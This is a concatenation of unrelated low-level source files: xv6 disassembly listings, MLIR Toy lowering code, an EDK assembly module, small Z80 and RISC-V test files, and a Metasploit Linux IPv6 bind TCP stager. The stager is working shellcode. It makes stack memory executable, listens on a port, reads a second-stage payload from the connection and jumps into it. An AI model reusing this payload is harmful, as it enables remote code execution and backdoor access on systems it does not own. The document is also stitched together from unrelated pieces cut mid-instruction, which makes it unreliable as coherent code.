$0x0,-0x10(%ebp) 258: 7f 02 jg 25c <gets+0x35> break; 25a: eb 31 jmp 28d <gets+0x66> buf[i++] = c; 25c: 8b 45 f4 mov -0xc(%ebp),%eax 25f: 8d 50 01 lea 0x1(%eax),%edx 262: 89 55 f4 mov %edx,-0xc(%ebp) 265: 89 c2 mov %eax,%edx 267: 8b 45 08 mov 0x8(%ebp),%eax 26a: 01 c2 add %eax,%edx 26c: 0f b6 45 ef movzbl -0x11(%ebp),%eax 270: 88 02 mov %al,(%edx) if(c == '\n' || c == '\r') 272: 0f b6 45 ef movzbl -0x11(%ebp),%eax 276: 3c 0a cmp $0xa,%al 278: 74 13 je 28d <gets+0x66> 27a: 0f b6 45 ef movzbl -0x11(%ebp),%eax 27e: 3c 0d cmp $0xd,%al 280: 74 0b je 28d <gets+0x66> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 282: 8b 45 f4 mov -0xc(%ebp),%eax 285: 83 c0 01 add $0x1,%eax 288: 3b 45 0c cmp 0xc(%ebp),%eax 28b: 7c a9 jl 236 <gets+0xf> break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 28d: 8b 55 f4 mov -0xc(%ebp),%edx 290: 8b 45 08 mov 0x8(%ebp),%eax 293: 01 d0 add %edx,%eax 295: c6 00 00 movb $0x0,(%eax) return buf; 298: 8b 45 08 mov 0x8(%ebp),%eax } 29b: c9 leave 29c: c3 ret 0000029d <stat>: int stat(char *n, struct stat *st) { 29d: 55 push %ebp 29e: 89 e5 mov %esp,%ebp 2a0: 83 ec 28 sub $0x28,%esp int fd; int r; fd = open(n, O_RDONLY); 2a3: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 2aa: 00 2ab: 8b 45 08 mov 0x8(%ebp),%eax 2ae: 89 04 24 mov %eax,(%esp) 2b1: e8 07 01 00 00 call 3bd <open> 2b6: 89 45 f4 mov %eax,-0xc(%ebp) if(fd < 0) 2b9: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 2bd: 79 07 jns 2c6 <stat+0x29> return -1; 2bf: b8 ff ff ff ff mov $0xffffffff,%eax 2c4: eb 23 jmp 2e9 <stat+0x4c> r = fstat(fd, st); 2c6: 8b 45 0c mov 0xc(%ebp),%eax 2c9: 89 44 24 04 mov %eax,0x4(%esp) 2cd: 8b 45 f4 mov -0xc(%ebp),%eax 2d0: 89 04 24 mov %eax,(%esp) 2d3: e8 fd 00 00 00 call 3d5 <fstat> 2d8: 89 45 f0 mov %eax,-0x10(%ebp) close(fd); 2db: 8b 45 f4 mov -0xc(%ebp),%eax 2de: 89 04 24 mov %eax,(%esp) 2e1: e8 bf 00 00 00 call 3a5 <close> return r; 2e6: 8b 45 f0 mov -0x10(%ebp),%eax } 2e9: c9 leave 2ea: c3 ret 000002eb <atoi>: int atoi(const char *s) { 2eb: 55 push %ebp 2ec: 89 e5 mov %esp,%ebp 2ee: 83 ec 10 sub $0x10,%esp int n; n = 0; 2f1: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) while('0' <= *s && *s <= '9') 2f8: eb 25 jmp 31f <atoi+0x34> n = n*10 + *s++ - '0'; 2fa: 8b 55 fc mov -0x4(%ebp),%edx 2fd: 89 d0 mov %edx,%eax 2ff: c1 e0 02 shl $0x2,%eax 302: 01 d0 add %edx,%eax 304: 01 c0 add %eax,%eax 306: 89 c1 mov %eax,%ecx 308: 8b 45 08 mov 0x8(%ebp),%eax 30b: 8d 50 01 lea 0x1(%eax),%edx 30e: 89 55 08 mov %edx,0x8(%ebp) 311: 0f b6 00 movzbl (%eax),%eax 314: 0f be c0 movsbl %al,%eax 317: 01 c8 add %ecx,%eax 319: 83 e8 30 sub $0x30,%eax 31c: 89 45 fc mov %eax,-0x4(%ebp) atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 31f: 8b 45 08 mov 0x8(%ebp),%eax 322: 0f b6 00 movzbl (%eax),%eax 325: 3c 2f cmp $0x2f,%al 327: 7e 0a jle 333 <atoi+0x48> 329: 8b 45 08 mov 0x8(%ebp),%eax 32c: 0f b6 00 movzbl (%eax),%eax 32f: 3c 39 cmp $0x39,%al 331: 7e c7 jle 2fa <atoi+0xf> n = n*10 + *s++ - '0'; return n; 333: 8b 45 fc mov -0x4(%ebp),%eax } 336: c9 leave 337: c3 ret 00000338 <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 338: 55 push %ebp 339: 89 e5 mov %esp,%ebp 33b: 83 ec 10 sub $0x10,%esp char *dst, *src; dst = vdst; 33e: 8b 45 08 mov 0x8(%ebp),%eax 341: 89 45 fc mov %eax,-0x4(%ebp) src = vsrc; 344: 8b 45 0c mov 0xc(%ebp),%eax 347: 89 45 f8 mov %eax,-0x8(%ebp) while(n-- > 0) 34a: eb 17 jmp 363 <memmove+0x2b> *dst++ = *src++; 34c: 8b 45 fc mov -0x4(%ebp),%eax 34f: 8d 50 01 lea 0x1(%eax),%edx 352: 89 55 fc mov %edx,-0x4(%ebp) 355: 8b 55 f8 mov -0x8(%ebp),%edx 358: 8d 4a 01 lea 0x1(%edx),%ecx 35b: 89 4d f8 mov %ecx,-0x8(%ebp) 35e: 0f b6 12 movzbl (%edx),%edx 361: 88 10 mov %dl,(%eax) { char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 363: 8b 45 10 mov 0x10(%ebp),%eax 366: 8d 50 ff lea -0x1(%eax),%edx 369: 89 55 10 mov %edx,0x10(%ebp) 36c: 85 c0 test %eax,%eax 36e: 7f dc jg 34c <memmove+0x14> *dst++ = *src++; return vdst; 370: 8b 45 08 mov 0x8(%ebp),%eax } 373: c9 leave 374: c3 ret 00000375 <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 375: b8 01 00 00 00 mov $0x1,%eax 37a: cd 40 int $0x40 37c: c3 ret 0000037d <exit>: SYSCALL(exit) 37d: b8 02 00 00 00 mov $0x2,%eax 382: cd 40 int $0x40 384: c3 ret 00000385 <wait>: SYSCALL(wait) 385: b8 03 00 00 00 mov $0x3,%eax 38a: cd 40 int $0x40 38c: c3 ret 0000038d <pipe>: SYSCALL(pipe) 38d: b8 04 00 00 00 mov $0x4,%eax 392: cd 40 int $0x40 394: c3 ret 00000395 <read>: SYSCALL(read) 395: b8 05 00 00 00 mov $0x5,%eax 39a: cd 40 int $0x40 39c: c3 ret 0000039d <write>: SYSCALL(write) 39d: b8 10 00 00 00 mov $0x10,%eax 3a2: cd 40 int $0x40 3a4: c3 ret 000003a5 <close>: SYSCALL(close) 3a5: b8 15 00 00 00 mov $0x15,%eax 3aa: cd 40 int $0x40 3ac: c3 ret 000003ad <kill>: SYSCALL(kill) 3ad: b8 06 00 00 00 mov $0x6,%eax 3b2: cd 40 int $0x40 3b4: c3 ret 000003b5 <exec>: SYSCALL(exec) 3b5: b8 07 00 00 00 mov $0x7,%eax 3ba: cd 40 int $0x40 3bc: c3 ret 000003bd <open>: SYSCALL(open) 3bd: b8 0f 00 00 00 mov $0xf,%eax 3c2: cd 40 int $0x40 3c4: c3 ret 000003c5 <mknod>: SYSCALL(mknod) 3c5: b8 11 00 00 00 mov $0x11,%eax 3ca: cd 40 int $0x40 3cc: c3 ret 000003cd <unlink>: SYSCALL(unlink) 3cd: b8 12 00 00 00 mov $0x12,%eax 3d2: cd 40 int $0x40 3d4: c3 ret 000003d5 <fstat>: SYSCALL(fstat) 3d5: b8 08 00 00 00 mov $0x8,%eax 3da: cd 40 int $0x40 3dc: c3 ret 000003dd <link>: SYSCALL(link) 3dd: b8 13 00 00 00 mov $0x13,%eax 3e2: cd 40 int $0x40 3e4: c3 ret 000003e5 <mkdir>: SYSCALL(mkdir) 3e5: b8 14 00 00 00 mov $0x14,%eax 3ea: cd 40 int $0x40 3ec: c3 ret 000003ed <chdir>: SYSCALL(chdir) 3ed: b8 09 00 00 00 mov $0x9,%eax 3f2: cd 40 int $0x40 3f4: c3 ret 000003f5 <dup>: SYSCALL(dup) 3f5: b8 0a 00 00 00 mov $0xa,%eax 3fa: cd 40 int $0x40 3fc: c3 ret 000003fd <getpid>: SYSCALL(getpid) 3fd: b8 0b 00 00 00 mov $0xb,%eax 402: cd 40 int $0x40 404: c3 ret 00000405 <sbrk>: SYSCALL(sbrk) 405: b8 0c 00 00 00 mov $0xc,%eax 40a: cd 40 int $0x40 40c: c3 ret 0000040d <sleep>: SYSCALL(sleep) 40d: b8 0d 00 00 00 mov $0xd,%eax 412: cd 40 int $0x40 414: c3 ret 00000415 <uptime>: SYSCALL(uptime) 415: b8 0e 00 00 00 mov $0xe,%eax 41a: cd 40 int $0x40 41c: c3 ret 0000041d <history>: SYSCALL(history) 41d: b8 16 00 00 00 mov $0x16,%eax 422: cd 40 int $0x40 424: c3 ret 00000425 <wait2>: SYSCALL(wait2) 425: b8 17 00 00 00 mov $0x17,%eax 42a: cd 40 int $0x40 42c: c3 ret 0000042d <set_prio>: SYSCALL(set_prio) 42d: b8 18 00 00 00 mov $0x18,%eax 432: cd 40 int $0x40 434: c3 ret
#pragma once #include <simde/simde.hpp> namespace ghostfragment { void load_modules(pluginplay::ModuleManager& mm); }
; Test to check the behavior of phase/dephase .org #4000 .rom .start loop loop: jr loop .phase #c000 method1: call method2 ret method2: ret .dephase method3: call method4 ret method4: ret
PUBLIC plot_MODE1 EXTERN __krt_plot EXTERN __z9001_attr plot_MODE1: call __krt_plot dec h dec h dec h dec h ld a,(__z9001_attr) ld (hl),a ret
//====- LowerToAffineLoops.cpp - Partial lowering from Toy to Affine+Std --===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===----------------------------------------------------------------------===// // // This file implements a partial lowering of Toy operations to a combination of // affine loops and standard operations. This lowering expects that all calls // have been inlined, and all shapes have been resolved. // //===----------------------------------------------------------------------===// #include "toy/Dialect.h" #include "toy/Passes.h" #include "mlir/Dialect/Affine/IR/AffineOps.h" #include "mlir/Dialect/StandardOps/IR/Ops.h" #include "mlir/Pass/Pass.h" #include "mlir/Transforms/DialectConversion.h" #include "llvm/ADT/Sequence.h" using namespace mlir; //===----------------------------------------------------------------------===// // ToyToAffine RewritePatterns //===----------------------------------------------------------------------===// /// Convert the given TensorType into the corresponding MemRefType. static MemRefType convertTensorToMemRef(TensorType type) { assert(type.hasRank() && "expected only ranked shapes"); return MemRefType::get(type.getShape(), type.getElementType()); } /// Insert an allocation and deallocation for the given MemRefType. static Value insertAllocAndDealloc(MemRefType type, Location loc, PatternRewriter &rewriter) { auto alloc = rewriter.create<AllocOp>(loc, type); // Make sure to allocate at the beginning of the block. auto *parentBlock = alloc.getOperation()->getBlock(); alloc.getOperation()->moveBefore(&parentBlock->front()); // Make sure to deallocate this alloc at the end of the block. This is fine // as toy functions have no control flow. auto dealloc = rewriter.create<DeallocOp>(loc, alloc); dealloc.getOperation()->moveBefore(&parentBlock->back()); return alloc; } /// This defines the function type used to process an iteration of a lowered /// loop. It takes as input a rewriter, an array of memRefOperands corresponding /// to the operands of the input operation, and the set of loop induction /// variables for the iteration. It returns a value to store at the current /// index of the iteration. using LoopIterationFn = function_ref<Value(PatternRewriter &rewriter, ArrayRef<Value> memRefOperands, ArrayRef<Value> loopIvs)>; static void lowerOpToLoops(Operation *op, ArrayRef<Value> operands, PatternRewriter &rewriter, LoopIterationFn processIteration) { auto tensorType = (*op->result_type_begin()).cast<TensorType>(); auto loc = op->getLoc(); // Insert an allocation and deallocation for the result of this operation. auto memRefType = convertTensorToMemRef(tensorType); auto alloc = insertAllocAndDealloc(memRefType, loc, rewriter); // Create an empty affine loop for each of the dimensions within the shape. SmallVector<Value, 4> loopIvs; for (auto dim : tensorType.getShape()) { auto loop = rewriter.create<AffineForOp>(loc, /*lb=*/0, dim, /*step=*/1); loopIvs.push_back(loop.getInductionVar()); // Update the rewriter insertion point to the beginning of the loop. rewriter.setInsertionPointToStart(loop.getBody()); } // Generate a call to the processing function with the rewriter, the memref // operands, and the loop induction variables. This function will return the // value to store at the current index. Value valueToStore = processIteration(rewriter, operands, loopIvs); rewriter.create<AffineStoreOp>(loc, valueToStore, alloc, llvm::makeArrayRef(loopIvs)); // Replace this operation with the generated alloc. rewriter.replaceOp(op, alloc); } namespace { //===----------------------------------------------------------------------===// // ToyToAffine RewritePatterns: Binary operations //===----------------------------------------------------------------------===// template <typename BinaryOp, typename LoweredBinaryOp> struct BinaryOpLowering : public ConversionPattern { BinaryOpLowering(MLIRContext *ctx) : ConversionPattern(BinaryOp::getOperationName(), 1, ctx) {} LogicalResult matchAndRewrite(Operation *op, ArrayRef<Value> operands, ConversionPatternRewriter &rewriter) const final { auto loc = op->getLoc(); lowerOpToLoops( op, operands, rewriter, [loc](PatternRewriter &rewriter, ArrayRef<Value> memRefOperands, ArrayRef<Value> loopIvs) { // Generate an adaptor for the remapped operands of the BinaryOp. This // allows for using the nice named accessors that are generated by the // ODS. typename BinaryOp::OperandAdaptor binaryAdaptor(memRefOperands); // Generate loads for the element of 'lhs' and 'rhs' at the inner // loop. auto loadedLhs = rewriter.create<AffineLoadOp>(loc, binaryAdaptor.lhs(), loopIvs); auto loadedRhs = rewriter.create<AffineLoadOp>(loc, binaryAdaptor.rhs(), loopIvs); // Create the binary operation performed on the loaded values. return rewriter.create<LoweredBinaryOp>(loc, loadedLhs, loadedRhs); }); return success(); } }; using AddOpLowering = BinaryOpLowering<toy::AddOp, AddFOp>; using MulOpLowering = BinaryOpLowering<toy::MulOp, MulFOp>; //===----------------------------------------------------------------------===// // ToyToAffine RewritePatterns: Constant operations //===----------------------------------------------------------------------===// struct ConstantOpLowering : public OpRewritePattern<toy::ConstantOp> { using OpRewritePattern<toy::ConstantOp>::OpRewritePattern; LogicalResult matchAndRewrite(toy::ConstantOp op, PatternRewriter &rewriter) const final { DenseElementsAttr constantValue = op.value(); Location loc = op.getLoc(); // When lowering the constant operation, we allocate and assign the constant // values to a corresponding memref allocation. auto tensorType = op.getType().cast<TensorType>(); auto memRefType = convertTensorToMemRef(tensorType); auto alloc = insertAllocAndDealloc(memRefType, loc, rewriter); // We will be generating constant indices up-to the largest dimension. // Create these constants up-front to avoid large amounts of redundant // operations. auto valueShape = memRefType.getShape(); SmallVector<Value, 8> constantIndices; if (!valueShape.empty()) { for (auto i : llvm::seq<int64_t>( 0, *std::max_element(valueShape.begin(), valueShape.end()))) constantIndices.push_back(rewriter.create<ConstantIndexOp>(loc, i)); } else { // This is the case of a tensor of rank 0. constantIndices.push_back(rewriter.create<ConstantIndexOp>(loc, 0)); } // The constant operation represents a multi-dimensional constant, so we // will need to generate a store for each of the elements. The following // functor recursively walks the dimensions of the constant shape, // generating a store when the recursion hits the base case. SmallVector<Value, 2> indices; auto valueIt = constantValue.getValues<FloatAttr>().begin(); std::function<void(uint64_t)> storeElements = [&](uint64_t dimension) { // The last dimension is the base case of the recursion, at this point // we store the element at the given index. if (dimension == valueShape.size()) { rewriter.create<AffineStoreOp>( loc, rewriter.create<ConstantOp>(loc, *valueIt++), alloc, llvm::makeArrayRef(indices)); return; } // Otherwise, iterate over the current dimension and add the indices to // the list. for (uint64_t i = 0, e = valueShape[dimension]; i != e; ++i) { indices.push_back(constantIndices[i]); storeElements(dimension + 1); indices.pop_back(); } }; // Start the element storing recursion from the first dimension. storeElements(/*dimension=*/0); // Replace this operation with the generated alloc. rewriter.replaceOp(op, alloc); return success(); } }; //===----------------------------------------------------------------------===// // ToyToAffine RewritePatterns: Return operations //===----------------------------------------------------------------------===// struct ReturnOpLowering : public OpRewritePattern<toy::ReturnOp> { using OpRewritePattern<toy::ReturnOp>::OpRewritePattern; LogicalResult matchAndRewrite(toy::ReturnOp op, PatternRewriter &rewriter) const final { // During this lowering, we expect that all function calls have been // inlined. if (op.hasOperand()) return failure(); // We lower "toy.return" directly to "std.return". rewriter.replaceOpWithNewOp<ReturnOp>(op); return success(); } }; //===----------------------------------------------------------------------===// // ToyToAffine RewritePatterns: Transpose operations //===----------------------------------------------------------------------===// struct TransposeOpLowering : public ConversionPattern { TransposeOpLowering(MLIRContext *ctx) : ConversionPattern(toy::TransposeOp::getOperationName(), 1, ctx) {} LogicalResult matchAndRewrite(Operation *op, ArrayRef<Value> operands, ConversionPatternRewriter &rewriter) const final { auto loc = op->getLoc(); lowerOpToLoops( op, operands, rewriter, [loc](PatternRewriter &rewriter, ArrayRef<Value> memRefOperands, ArrayRef<Value> loopIvs) { // Generate an adaptor for the remapped operands of the TransposeOp. // This allows for using the nice named accessors that are generated // by the ODS. toy::TransposeOpOperandAdaptor transposeAdaptor(memRefOperands); Value input = transposeAdaptor.input(); // Transpose the elements by generating a load from the reverse // indices. SmallVector<Value, 2> reverseIvs(llvm::reverse(loopIvs)); return rewriter.create<AffineLoadOp>(loc, input, reverseIvs); }); return success(); } }; } // end anonymous namespace. //===----------------------------------------------------------------------===// // ToyToAffineLoweringPass //===----------------------------------------------------------------------===// /// This is a partial lowering to affine loops of the toy operations that are /// computationally intensive (like matmul for example...) while keeping the /// rest of the code in the Toy dialect. namespace { struct ToyToAffineLoweringPass : public PassWrapper<ToyToAffineLoweringPass, FunctionPass> { void runOnFunction() final; }; } // end anonymous namespace. void ToyToAffineLoweringPass::runOnFunction() { auto function = getFunction(); // We only lower the main function as we expect that all other functions have // been inlined. if (function.getName() != "main") return; // Verify that the given main has no inputs and results. if (function.getNumArguments() || function.getType().getNumResults()) { function.emitError("expected 'main' to have 0 inputs and 0 results"); return signalPassFailure(); } // The first thing to define is the conversion target. This will define the // final target for this lowering. ConversionTarget target(getContext()); // We define the specific operations, or dialects, that are legal targets for // this lowering. In our case, we are lowering to a combination of the // `Affine` and `Standard` dialects. target.addLegalDialect<AffineDialect, StandardOpsDialect>(); // We also define the Toy dialect as Illegal so that the conversion will fail // if any of these operations are *not* converted. Given that we actually want // a partial lowering, we explicitly mark the Toy operations that don't want // to lower, `toy.print`, as `legal`. target.addIllegalDialect<toy::ToyDialect>(); target.addLegalOp<toy::PrintOp>(); // Now that the conversion target has been defined, we just need to provide // the set of patterns that will lower the Toy operations. OwningRewritePatternList patterns; patterns.insert<AddOpLowering, ConstantOpLowering, MulOpLowering, ReturnOpLowering, TransposeOpLowering>(&getContext()); // With the target and rewrite patterns defined, we can now attempt the // conversion. The conversion will signal failure if any of our `illegal` // operations were not converted successfully. if (failed(applyPartialConversion(getFunction(), target, patterns))) signalPassFailure(); } /// Create a pass for lowering operations in the `Affine` and `Std` dialects, /// for a subset of the Toy IR (e.g. matmul). std::unique_ptr<Pass> mlir::toy::createLowerToAffinePass() { return std::make_unique<ToyToAffineLoweringPass>(); }
;***************************************************************************** ;* ;* Copyright (c) 2006 - 2010, Intel Corporation. All rights reserved.<BR> ;* This program and the accompanying materials ;* are licensed and made available under the terms and conditions of the BSD License ;* which accompanies this distribution. The full text of the license may be found at ;* http://opensource.org/licenses/bsd-license.php ;* ;* THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, ;* WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. ;* ;* Module Name: ;* ;* Fx.asm ;* ;* Abstract: ;* ;* AsmFxRestore and AsmFxSave function ;* ;***************************************************************************** .code ;------------------------------------------------------------------------------ ; VOID ; AsmFxSave ( ; OUT IA32_FX_BUFFER *Buffer ; ); ;------------------------------------------------------------------------------ AsmFxSave PROC fxsave [rcx] ret AsmFxSave ENDP ;------------------------------------------------------------------------------ ; VOID ; AsmFxRestore ( ; IN CONST IA32_FX_BUFFER *Buffer ; ); ;------------------------------------------------------------------------------ AsmFxRestore PROC fxrstor [rcx] ret AsmFxRestore ENDP ;------------------------------------------------------------------------------ ; UINTN ; AsmGetEflags ( ; VOID ; ); ;------------------------------------------------------------------------------ AsmGetEflags PROC pushfq pop rax ret AsmGetEflags ENDP ;------------------------------------------------------------------------------ ; VOID ; AsmSetEflags ( ; IN UINTN Eflags ; ); ;------------------------------------------------------------------------------ AsmSetEflags PROC push rcx popfq ret AsmSetEflags ENDP END
.include "../../src/libs/cesplib_rars.asm" utest_draw_winner_X: jal winner.x li a7, 10 ecall .include "../../src/draw/winnerscreen.asm" .include "../../src/draw/draw_winnerscreen.asm" .include "../../src/draw/draw_blackscreen.asm" .include "../../src/draw/draw_X.asm" .include "../../src/draw/draw_O.asm" .include "../../src/draw/draw_lines.asm" .include "../../src/draw/draw_pixel.asm" .include "../../src/sound_optimized.asm"
;; ; ; Name: stager_sock_bind6 ; Qualities: Can Have Nulls ; Version: $Revision: 1607 $ ; License: ; ; This file is part of the Metasploit Exploit Framework ; and is subject to the same licenses and copyrights as ; the rest of this package. ; ; Description: ; ; Implementation of a Linux portbind TCP stager. ; ; File descriptor in edi. ; ; Meta-Information: ; ; meta-shortname=Linux Bind TCP Stager ; meta-description=Listen on a port for a connection and run a second stage ; meta-authors=skape <mmiller [at] hick.org>; egypt <egypt [at] metasploit.com> ; meta-os=linux ; meta-arch=ia32 ; meta-category=stager ; meta-connection-type=bind ; meta-name=bind_ipv6_tcp ; meta-path=lib/Msf/PayloadComponent/Linux/ia32/BindStager.pm ;; BITS 32 GLOBAL _start _start: ; int mprotect(const void *addr, size_t len, int prot); mprotect: push byte 0x7d ; __NR_mprotect pop eax cdq mov dl, 0x7 ; prot = 7 = PROT_READ | PROT_WRITE | PROT_EXEC mov ecx, 0x1000 ; len = PAGE_SIZE (on most systems) mov ebx, esp ; addr and bx, 0xf000 ; ensure that addr is page-aligned int 0x80 xor ebx, ebx ; ebx is the call argument to socketcall mul ebx ; set edx:eax to 0, we'll need them in a minute ; int socket(int domain, int type, int protocol); socket: push ebx ; protocol = 0 = first that matches this type and domain, i.e. tcp inc ebx ; 1 = SYS_SOCKET push ebx ; type = 1 = SOCK_STREAM push byte 0xa ; domain = 0xa = AF_INET6 mov ecx, esp ; socketcall args mov al, 0x66 ; __NR_socketcall int 0x80 ; Server socket is now in eax. We'll push it to the stack in a sec and then ; just reference it from there, no need to store it in a register ; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen); bind: inc ebx ; 2 = SYS_BIND (this was PF_INET for the call to socket) ; set up the sockaddr push edx ; addr->sin6_scopeid = 0 push edx ; addr->sin6_addr = inet_pton("::0") push edx ; ... push edx ; ... push edx ; ... push edx ; addr->flowinfo = 0 push 0xbfbf000a ; addr->sin6_port = 0xbfbf ; addr->sin6_family = 0xa = AF_INET6 mov ecx, esp ; socketcall args push byte 0x1c ; addrlen push ecx ; addr push eax ; sockfd ; return value from socket(2) above mov ecx, esp ; socketcall args push byte 0x66 ; __NR_socketcall pop eax int 0x80 listen: shl ebx, 1 ; 4 = SYS_LISTEN mov al, 0x66 ; __NR_socketcall int 0x80 ; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen); accept: inc ebx ; 5 = SYS_ACCEPT mov al, 0x66 ; __NR_socketcall mov [ecx+4], edx int 0x80 xchg eax, ebx %ifndef USE_SINGLE_STAGE ; ssize_t read(int fd, void *buf, size_t count); recv: ; fd = ebx ; buf = ecx is pointing somewhere in the stack mov dh, 0xc ; count = 0xc00 mov al, 0x3 ; __NR_read int 0x80 mov edi, ebx ; not necessary if second stages use ebx instead of edi ; for fd jmp ecx %else %ifdef FD_REG_EDI mov edi, ebx %endif %endif
and 0x082
_stressfs: file format elf32-i386 Disassembly of section .text: 00000000 <main>: #include "fs.h" #include "fcntl.h" int main(int argc, char *argv[]) { 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp int fd, i; char path[] = "stressfs0"; 7: b8 30 00 00 00 mov $0x30,%eax { c: ff 71 fc pushl -0x4(%ecx) f: 55 push %ebp 10: 89 e5 mov %esp,%ebp 12: 57 push %edi 13: 56 push %esi 14: 53 push %ebx 15: 51 push %ecx char data[512]; printf(1, "stressfs starting\n"); memset(data, 'a', sizeof(data)); 16: 8d b5 e8 fd ff ff lea -0x218(%ebp),%esi for(i = 0; i < 4; i++) 1c: 31 db xor %ebx,%ebx { 1e: 81 ec 20 02 00 00 sub $0x220,%esp char path[] = "stressfs0"; 24: 66 89 85 e6 fd ff ff mov %ax,-0x21a(%ebp) 2b: c7 85 de fd ff ff 73 movl $0x65727473,-0x222(%ebp) 32: 74 72 65 printf(1, "stressfs starting\n"); 35: 68 b0 0a 00 00 push $0xab0 3a: 6a 01 push $0x1 char path[] = "stressfs0"; 3c: c7 85 e2 fd ff ff 73 movl $0x73667373,-0x21e(%ebp) 43: 73 66 73 printf(1, "stressfs starting\n"); 46: e8 a5 04 00 00 call 4f0 <printf> memset(data, 'a', sizeof(data)); 4b: 83 c4 0c add $0xc,%esp 4e: 68 00 02 00 00 push $0x200 53: 6a 61 push $0x61 55: 56 push %esi 56: e8 95 01 00 00 call 1f0 <memset> 5b: 83 c4 10 add $0x10,%esp if(fork() > 0) 5e: e8 27 03 00 00 call 38a <fork> 63: 85 c0 test %eax,%eax 65: 0f 8f bf 00 00 00 jg 12a <main+0x12a> for(i = 0; i < 4; i++) 6b: 83 c3 01 add $0x1,%ebx 6e: 83 fb 04 cmp $0x4,%ebx 71: 75 eb jne 5e <main+0x5e> 73: bf 04 00 00 00 mov $0x4,%edi break; printf(1, "write %d\n", i); 78: 83 ec 04 sub $0x4,%esp 7b: 53 push %ebx 7c: 68 c3 0a 00 00 push $0xac3 path[8] += i; fd = open(path, O_CREATE | O_RDWR); 81: bb 14 00 00 00 mov $0x14,%ebx printf(1, "write %d\n", i); 86: 6a 01 push $0x1 88: e8 63 04 00 00 call 4f0 <printf> path[8] += i; 8d: 89 f8 mov %edi,%eax 8f: 00 85 e6 fd ff ff add %al,-0x21a(%ebp) fd = open(path, O_CREATE | O_RDWR); 95: 5f pop %edi 96: 58 pop %eax 97: 8d 85 de fd ff ff lea -0x222(%ebp),%eax 9d: 68 02 02 00 00 push $0x202 a2: 50 push %eax a3: e8 2a 03 00 00 call 3d2 <open> a8: 83 c4 10 add $0x10,%esp ab: 89 c7 mov %eax,%edi ad: 8d 76 00 lea 0x0(%esi),%esi for(i = 0; i < 20; i++) // printf(fd, "%d\n", i); write(fd, data, sizeof(data)); b0: 83 ec 04 sub $0x4,%esp b3: 68 00 02 00 00 push $0x200 b8: 56 push %esi b9: 57 push %edi ba: e8 f3 02 00 00 call 3b2 <write> for(i = 0; i < 20; i++) bf: 83 c4 10 add $0x10,%esp c2: 83 eb 01 sub $0x1,%ebx c5: 75 e9 jne b0 <main+0xb0> close(fd); c7: 83 ec 0c sub $0xc,%esp ca: 57 push %edi cb: e8 ea 02 00 00 call 3ba <close> printf(1, "read\n"); d0: 58 pop %eax d1: 5a pop %edx d2: 68 cd 0a 00 00 push $0xacd d7: 6a 01 push $0x1 d9: e8 12 04 00 00 call 4f0 <printf> fd = open(path, O_RDONLY); de: 59 pop %ecx df: 8d 85 de fd ff ff lea -0x222(%ebp),%eax e5: 5b pop %ebx e6: 6a 00 push $0x0 e8: 50 push %eax e9: bb 14 00 00 00 mov $0x14,%ebx ee: e8 df 02 00 00 call 3d2 <open> f3: 83 c4 10 add $0x10,%esp f6: 89 c7 mov %eax,%edi f8: 90 nop f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi for (i = 0; i < 20; i++) read(fd, data, sizeof(data)); 100: 83 ec 04 sub $0x4,%esp 103: 68 00 02 00 00 push $0x200 108: 56 push %esi 109: 57 push %edi 10a: e8 9b 02 00 00 call 3aa <read> for (i = 0; i < 20; i++) 10f: 83 c4 10 add $0x10,%esp 112: 83 eb 01 sub $0x1,%ebx 115: 75 e9 jne 100 <main+0x100> close(fd); 117: 83 ec 0c sub $0xc,%esp 11a: 57 push %edi 11b: e8 9a 02 00 00 call 3ba <close> wait(); 120: e8 75 02 00 00 call 39a <wait> exit(); 125: e8 68 02 00 00 call 392 <exit> 12a: 89 df mov %ebx,%edi 12c: e9 47 ff ff ff jmp 78 <main+0x78> 131: 66 90 xchg %ax,%ax 133: 66 90 xchg %ax,%ax 135: 66 90 xchg %ax,%ax 137: 66 90 xchg %ax,%ax 139: 66 90 xchg %ax,%ax 13b: 66 90 xchg %ax,%ax 13d: 66 90 xchg %ax,%ax 13f: 90 nop 00000140 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 140: 55 push %ebp 141: 89 e5 mov %esp,%ebp 143: 53 push %ebx 144: 8b 45 08 mov 0x8(%ebp),%eax 147: 8b 4d 0c mov 0xc(%ebp),%ecx char *os; os = s; while((*s++ = *t++) != 0) 14a: 89 c2 mov %eax,%edx 14c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 150: 83 c1 01 add $0x1,%ecx 153: 0f b6 59 ff movzbl -0x1(%ecx),%ebx 157: 83 c2 01 add $0x1,%edx 15a: 84 db test %bl,%bl 15c: 88 5a ff mov %bl,-0x1(%edx) 15f: 75 ef jne 150 <strcpy+0x10> ; return os; } 161: 5b pop %ebx 162: 5d pop %ebp 163: c3 ret 164: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 16a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000170 <strcmp>: int strcmp(const char *p, const char *q) { 170: 55 push %ebp 171: 89 e5 mov %esp,%ebp 173: 53 push %ebx 174: 8b 55 08 mov 0x8(%ebp),%edx 177: 8b 4d 0c mov 0xc(%ebp),%ecx while(*p && *p == *q) 17a: 0f b6 02 movzbl (%edx),%eax 17d: 0f b6 19 movzbl (%ecx),%ebx 180: 84 c0 test %al,%al 182: 75 1c jne 1a0 <strcmp+0x30> 184: eb 2a jmp 1b0 <strcmp+0x40> 186: 8d 76 00 lea 